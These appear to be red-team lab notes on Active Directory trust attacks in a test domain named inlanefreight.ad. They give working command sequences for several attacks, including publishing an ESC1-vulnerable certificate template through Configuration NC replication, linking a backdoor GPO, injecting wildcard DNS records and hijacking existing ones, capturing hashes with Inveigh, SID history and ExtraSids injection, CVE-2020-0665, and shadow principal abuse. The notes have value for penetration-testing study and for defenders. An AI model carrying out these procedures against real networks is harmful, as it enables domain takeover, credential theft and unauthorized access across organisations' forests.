Configuration Naming Context (NC) replication abuse is a malicious strategy in which attackers take advantage of the replication process within the Configuration Naming Context of Active Directory. This exploitation allows them to disseminate unauthorized modifications or configurations throughout the domain infrastructure.
An attacker may exploit this vulnerability to conduct a range of attacks, including those targeting Active Directory Certificate Services (ADCS), manipulating Group Policy Objects (GPOs) at the site level, altering DNS entries, or executing GoldenGMSA (Group Managed Service Account) attacks. Such actions can result in unauthorized access, privilege escalation, or other detrimental activities within the parent domain originating from a child domain.
Abusing ADCS - Make Template vulnerable to ESC1 to privilege escalation (Child -> Parent)
The Certificate Templates container stores templates as pKICertificateTemplate objects that can be published to an ADCS CA.
The Enrollment Services container contains one pKIEnrollmentService object per CA. These objects enumerate the templates that have been published to the CA through their certificateTemplates property.
Simplification of ADCS Attack:
Add a new vulnerable Certificate Template inside the Certificate Templates container as a pKICertificateTemplate object.
Give the Administrator user of the child domain Full Control rights over the created Certificate Template.
Publish the created template to the CA server by modifying the pKIEnrollmentService object of the CA inside the Enrollment Services container.
After the Configuration NC is replicated back to the parent domain, request the certificate for root\Administrator from the child domain.
#Use Psexec to Open MMC as a SYSTEM user
PS C:\Tools\> .\PsExec -s -i powershell
PS C:\Windows\system32> mmc
Create a new Console on mmc and add Certificate Template
Go to File > Add/Remove Snap-in
Select Certificate Templates
Add it.
Save Changes
Make Template Vulnerable to ESC1
Right-click on the User template.
Select Duplicate Template. This action will open a prompt with the properties of the new template.
Set the Subject Name option to Supply in the request. This configuration allows for dynamic specification of the subject name during the certificate request process, potentially introducing the ESC1 vulnerability.
Grants Full control to SYSTEM
PS C:\Windows\system32> adsiedit.msc
Right click on Public Key Services
Go to Properties > Security
Go to Advance
Select System and grants Full control and This object and all descendant objects.
Apply
Add the malicious template to PKIEnrollmentService
Go to Enrollment Services
Right click on PkiEnrollmentService > Properties
Select certificate Templates and add the template.
Don't Forget to adjust the Scheduled Task Settings from Do not start a new instance to Run a new instance in parallel.
#Retrieving the Replication Site of the Root Domain Controller
PS C:\Tools> Get-ADDomainController -Server inlanefreight.ad |Select ServerObjectDN
#Linking the GPO to the Default Site as SYSTEM
PS C:\Tools> .\PsExec.exe -s -i powershell.exe
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> $sitePath = "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=INLANEFREIGHT,DC=AD"
PS C:\Windows\system32> New-GPLink -Name "Backdoor" -Target $sitePath -Server dev.inlanefreight.ad
#Request TGT
PS C:\Tools> .\Rubeus.exe asktgt /user:backdoor /password:'B@ckdoor123' /domain:inlanefreight.ad /ptt
GoldenGMSA Attack Across Trust (Child -> Parent)
KDS key attributes in the forest root is restricted to entities with the appropriate rights, such as ROOT\Enterprise Admins, ROOT\Domain Admins, and NT AUTHORITY\SYSTEM.
Access: Configuration > Services > Group Key Distribution Service > Master Root Keys
from Crypto.Hash import MD4
import base64
base64_input = "<blob>"
print(MD4.new(base64.b64decode(base64_input)).hexdigest())
DNS Wildcard Injection
Attackers can exploit wildcard records to redirect or manipulate network traffic by creating malicious DNS entries that match the wildcard pattern. This can lead to unauthorized access, phishing attacks, or the interception of sensitive information.
#Resolve DNS name
PS C:\Tools> Resolve-DNSName TEST2.inlanefreight.ad
#Adding Wildcard DNS record
C:\Tools\> .\PsExec -s -i powershell
PS C:\Tools> Import-module .\Powermad.ps1
PS C:\Tools> New-ADIDNSNode -Node * -domainController DC01.inlanefreight.ad -Domain inlanefreight.ad -Zone inlanefreight.ad -Tombstone -Verbose
Arbitrary DNS Record Modification from Child Domain
It is also possible to modify the IP address associated with an already existing DNS record in the parent domain from within the child domain.
#Enumerate DNS Records Parent Domain
PS C:\Tools> Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad -ZoneName inlanefreight.ad -Name "@"
#Enumerate DNS Records for specific Server
PS C:\Tools> Resolve-DnsName -Name example.inlanefreight.ad -Server DC01.INLANEFREIGHT.AD
#Open Terminal as NT SYSTEM
PS C:\Tools\> .\PsExec -s -i powershell
#Modifying DNS Records to point to child domain ip
PS C:\Tools> $Old = Get-DnsServerResourceRecord -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad -Name DEV01
PS C:\Tools> $New = $Old.Clone()
PS C:\Tools> $TTL = [System.TimeSpan]::FromSeconds(1)
PS C:\Tools> $New.TimeToLive = $TTL
PS C:\Tools> $New.RecordData.IPv4Address = [System.Net.IPAddress]::parse('172.16.210.3')
PS C:\Tools> Set-DnsServerResourceRecord -NewInputObject $New -OldInputObject $Old -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad
PS C:\Tools> Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad -ZoneName inlanefreight.ad -Name "@"
#Start Inveigh for Hash Interception
PS C:\Tools> Import-Module .\Inveigh.ps1
PS C:\Tools> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y -SMB Y
#Lateral Movement by using Rubeus
PS C:\Tools> .\Rubeus.exe asktgt /user:buster /domain:inlanefreight.ad /password:<SNIP> /ptt
Requirements for exploitation to be possible in a Cross-Forest environment
TGT Delegation must be allowed in the trust (without 2019 updates or enabled manually).
Selective authentication must not be enabled, which would prevent automatic authentication between forests.
A two-way trust must exist between forests.
Authentication levels in Cross-Forest Trusts
Forest-wide authentication → Allows unrestricted access between forests (less secure).
Domain-wide authentication → Restricts access to only users in a specific domain.
Selective authentication → Requires specific permissions for each user (more secure).
If a domain controller (DC) in Forest-A which has unconstrained delegation enabled by default is compromised, we could potentially extract the Ticket Granting Ticket (TGT) of an Administrator from the domain controller in Forest-B who subsequently logs into DC of Forest-A. With this TGT, we gain the ability to compromise the Forest-B.
Alternatively, if no user or Administrator logs into the domain controller (DC) in Forest-A from Forest-B, we can exploit the Printer bug to force an authentication attempt from the DC in Forest-B to the DC in Forest-A. This forced authentication allows us to intercept the TGT of the machine account of Forest-B DC (DC02$). Subsequently, we can leverage this TGT to execute a DCSync attack, allowing us to escalate privileges and further compromise the network
SID History Injection Attack, commonly referred to as SID Hijacking, is a method employed to escalate privileges by taking advantage of the SID (Security Identifier) history attribute found in Active Directory user accounts. When a user account is transferred from one domain to another within a different forest, the SID history attribute retains the SIDs from the original domain.
An attacker can exploit this functionality by injecting the SID of a user or group with elevated privileges from the target domain into a low-privileged user account in the source domain. This action enables the low-privileged account to inherit the access rights and privileges linked to the injected SID. Consequently, the attacker can elevate their privileges and gain unauthorized access to resources or execute actions within the target domain as if they were part of the highly privileged group or user.
Case #1 High Privileged Migrated User
SID history Enabled
The User in DomainA belongs to Powerfull group
The user has been migrated from DomainA to DomainB
We compromised the Domain B as Administrator and we start to enumerate.
#Enumerate user with SID History Enabled
PS C:\Tools> Get-ADUser -Filter "SIDHistory -Like '*'" -Properties SIDHistory
#Change Password
PS C:\Tools net user targetuser target
In this point we can move to the target user either kerberos or any type of authentication
In scenarios where migrated users do not possess substantial privileges in their previous domain or no users are migrated, it's advisable to verify if SID History is still enabled on the domain.
To identify a forest where SID History is enabled, we can check for the presence of the value TREAT_AS_EXTERNAL in the TrustAttributes attribute. If this value is present, it indicates that SID History is enabled for the forest.
#Enumerate SID History
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainTrust -domain logistics.ad
#Retrieve only TrustAttributes for Domain
Get-DomainTrust -domain target.domain | Where-Object {$_.TargetName -eq "current.domain"} | Select TrustAttributes
With the presense of TREAT_AS_EXTERNAL an Extrasids attack becomes possible. This attack involves injecting the SID of a highly privileged group or user from the targetdomain domain into any user object in the currentdomain domain.
Mision: Run bloodhound against target domain and look for high privilege group to be able to inject its SID into current user domain
To perform this attack, we need the following:
The KRBTGT hash for the current domain (Inlanefreight)
The SID for the current domain
The name of a target user in the current domain (Any domain user)
The FQDN of the current domain.
The SID of the high privileged group of the target domain (Infrastructure group)
This vulnerability leverages the intended feature of a Transitive Trust, allowing an attacker to compromise any host or workstation within a trusted forest that has a Two-way Transitive Trust relationship established with the Trusting forest.
Be on the Trusting Forest
Fake a new domain in forest A that has the same SID as the local domain on a server in forest B.
Wait for forest B to pick up the new SID and add it to the allowed SIDs.
Create an inter-realm ticket that includes the SID of the local administrator account of the server in forest B, and give this to the DC in forest B.
See if forest B gives us a ticket that includes the SID of the server in forest B
Connect to the server in forest B with our service ticket having administrative permissions.
Attack Requirements for CVE-2020-0665
DC01 and DC02 must have a Two-way Transitive Trust
DC01 must have a Child Domain (subdomain)
DC02 has at least one domain joined member server or workstation
To perform this attack after compromising the Inlanefreight domain, we need to collect the following:
Collect
Value
Tool
Local SID of the victim server (SQL02.logistics.ad)
S-1-5-21-2327345182-1863223493-3435513819
getlocalsid.py
Child Domain SID for child.inlanefreight.ad
S-1-5-21-3878752286-62540090-653003637
lookupsid.py
Domain SID for inlanefreight.ad
S-1-5-21-2432454459-173448545-3375717855
lookupsid.py
Inter-realm tickets with RC4 hash (for logistics.ad)
c586031a224f252a7c8a31a6d2210cc1
Get-ADObject and mimikatz
Inter-realm tickets with AES keys (for logistics.ad)
#Update as NT System
PS C:\Tools> .\PsExec.exe -s -i powershell.exe
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Tools> python frida_intercept.py lsass.exe
# Get the SID for the Enterprise Admins group of the user forest
$ShadowPrincipalSid = (Get-ADGroup -Identity 'Enterprise Admins' -Properties ObjectSID -Server eulogistics.corp).ObjectSID
# Container location
$Container = 'CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=controlcenter,DC=corp'
# Create the Shadow principal
New-ADObject -Type msDS-ShadowPrincipal -Name "Tom" -Path $Container -OtherAttributes @{'msDS-ShadowPrincipalSid'= $ShadowPrincipalSid}
# We can add a user from bastion forest to an existing bastion forest's shadow security principal container named Tom
Set-ADObject -Identity "CN=Tom,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=controlcenter,DC=corp" -Add @{'member'="CN=Administrator,CN=Users,DC=controlcenter,DC=corp"} -Verbose
Access the resources
PS C:\Tools> whoami;hostname
controlcenter\administrator
DC01
PS C:\Tools> ls \\DC-EU.eulogistics.corp\c$
